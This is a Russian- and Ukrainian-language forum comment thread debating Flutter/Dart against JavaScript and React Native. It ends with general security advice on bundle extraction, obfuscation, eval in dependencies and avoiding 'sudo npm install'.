Kotlin — создание русских программистов, с политической точки зрения делать ставку на него вообще опасно

И именно поэтому Гугл рекомендуют именно этот язык как официальный язык разработки под Android ))

Javascript — язык-помойка, от него нужно по-хорошему уходить.

А вот это, простите, глупость. На этой «помойке» пишет масса разработчиков во всём мире. В отличие от.

Go — он не подходит для их затей которые они хотят возложить на Dart.

Ну, тут не спорю.

Ну теп не менее, в гугл сделали такой выбор.

Удачное ли это решение время покажет.

Это супер удачное решение)
Потому что дарт очень «аки ЖС» что слегка понижает вход + фреймворк уж больно похож на самый мейнстримный ЖС фреймворк.
Отличная попытка избавить мир от гегемонии ЖС.
Надеюсь на успех

На этой «помойке» пишет масса разработчиков во всём мире.

Вы путаете причину и следствие. ЖС стал популярен не потому что «не помойка», а потому что в браузерах не было вообще иного варианта писать аппы, а хотелось. От сюда и все инвестиции в ЖС движки, вся вот эта вот гонка кто быстрее переварит «помои»)
А вслед за появлением V8 уже и задумались над тем что «можно ж и бэк писать на нем, ты смотри как удобно».
Можно еще сказать что ЖС изза своей гибкости позволяет быстро говнякать, но как только напишут больше 20 страниц — уже плеваться охота)

ЖС изза своей гибкости позволяет быстро говнякать, но как только напишут больше 20 страниц — уже плеваться охота

Говнякать можно хоть на C++. Поверь, я видел код на C++, написанный не программистом, а учёным-прикладником, и это адЪ и трындец. Как и видел отличный поддерживаемый код на TypeScript.

Читаемость и поддерживаемость кода зависят намного больше от прямоты рук программиста, чем от языка.

И поиметь оч-чень интересный секас с поиском специалистов с нужными навыками.

После секаса с RN ничего не страшно)

Видишь ли, девелоперские и коммерческие риски — это очень сильно разные вещи. Девелоперу что-то не понравилось, он встал, уволился, и побежал через дорогу педалить на том, к чему душа лежит.

А вот бизнесу ни разу не улыбается искать замену таким любителям нишевых технологий.

Понимаю. Но в данном случае можно смело говорить что RN уже нишевая технология.

Она тоже нишевая, тут не спорю. Но интерес к RN со стороны тех же Веб-разработчиков я наблюдаю сильно больший, чем к Flutter — который не очень интересен ни нативщикам, поскольку отбирает их «хлеб», ни потенциальным свитчерам с фронт-енда из-за более высокого порога входа.

Хотя, технологически, у Flutter есть определённые преимущества перед RN, с этим я не спорю, и не хочу, чтобы кто-то подумал, что я целенаправленно «обсераю» технологию.

А чего не QT например ? Или потому что Google :)

Хз, не вижу популярности КуТе.
Пробовал КуТе, не зашло. Там все на своей волне.
А во флаттер транзишон изи после Реакта)
сетСтейт и погнали педалить)

Потому что автор комментария, похоже, фанбой в духе Валялькина (помните, был тут такой упоротый персонаж, который встрявал в любую дискуссию с проповедями про Golang?)

Найгірше, що турбує, що можна розархівувати ipa чи apk, а там побачити увесь js bundle

Так, але в більшості той геніальний код нікому нах. не звадся щоб його красти чи ще шось)

Хіба сирцевий код не дасть ще один вектор атаки?

Так, це новий вектор атаки.

Як альтернатива, якщо використовувати Hermes, то .jsbundle файлу не буде. Але знову ж таки, це теж новий вектор атаки. Тут як не один компроміс, так інший.

З іншого боку, розбирати мініфікований код .jsbundle не супер тривіально і вимагає певних навичок в reverse engineering. Імхо, людина, яка ними володіє, зможе розібрати і нативний код. Можна лише намагатися ускладнити процес модифікації та дослідження коду, наприклад, додавши перевірку цілісності .jsbundle файлу.

А если обфусцировать код? ну типа да, дизасемблировать можно все, даже игры на c++ ламают и патчат

Так, обфускація також створить додаткову перепону для атакуючого. Але її можливо обійти. Тут працює стратегія: створити стільки захисних махенізмів, щоб вигода від зламу не була варта всіх цих витрачених зусиль на злам.

Крім того обфускація збільшить об’єм коду, тому получається що дійсно це не завжди потрібно застосовувати

Не соромтесь слова «застосунок» — це саме те, що ви розумієте під невідповідним словом «додаток».

Не обов’язково. Наприклад, в свій час про існування слова ’застосунок’ я просто не знав. Тільки на 5 курсі університету про нього дізнався. Коли нам сказали, що диплом треба писати на українській мові і всі серйозно до цього віднеслися. До того моменту використовував ’додаток’ і горя не знав.

Признавайтесь хто бачив в коді eval в 2021 році?

Особисто бачила на одному з проектів, де робила аудит :)

все ли js зависимости просматриваете на отсутствие eval?) если ваш код не использует, какая-то либа из зависимостей может

Человека запускающего локально npm install врядли заботит безопасность :)

тем более я видел как куча разрабов делают sudo npm install не задумываясь, о какой дальше безопасности вообще можно говорить

тем более я видел как куча разрабов делают sudo npm install не задумываясь, о какой дальше безопасности вообще можно говорить

куча разрабов работают в формате фулстэк как жан-клод-вандамм на шпагате между грузовиками, они там и не на такое способны в запаре.

www.youtube.com/watch?v=OgFvx8yICo8

А что не так и какие альтернативы? Очень посредственно просто знаком с npm и поэтому интересно

У мене є спеціальний node-user, я надаю йому права на проект (node_modules, yarn*, package.json ...), тоді заходжу під ним:

sudo -u node-user -Hs

І ставлю усе що мені треба. Щоправда інколи треба поморочитись із тими пакетами, які хочуть створювати темпові каталоги чи файли.

Цікаво коли з’являється необхідність використовувати sudo для встановлення npm пакетів

Я ж не написав, що я встановлюю пакети за допомогою sudo. Перечитайте.
Ми у темі про безпеку, і під коментарем, який обґрунтовано натякає, що npm install може запросто поставити вірус, або прочитати ваші дані з .ssh. Я кажу про користувача, який має дуже обмежені права...

Я загалом запитав, чи може випасти така необхідність

Якщо хтось ставить npm пакети із sudo — це однозначно помилка. Новачки інколи глобальні пакети так ставлять, але правильне рішення тут — встановити собі nvm.

А для глобальних пакетів зручно використовувати npx
Дякую

Підписатись на коментарі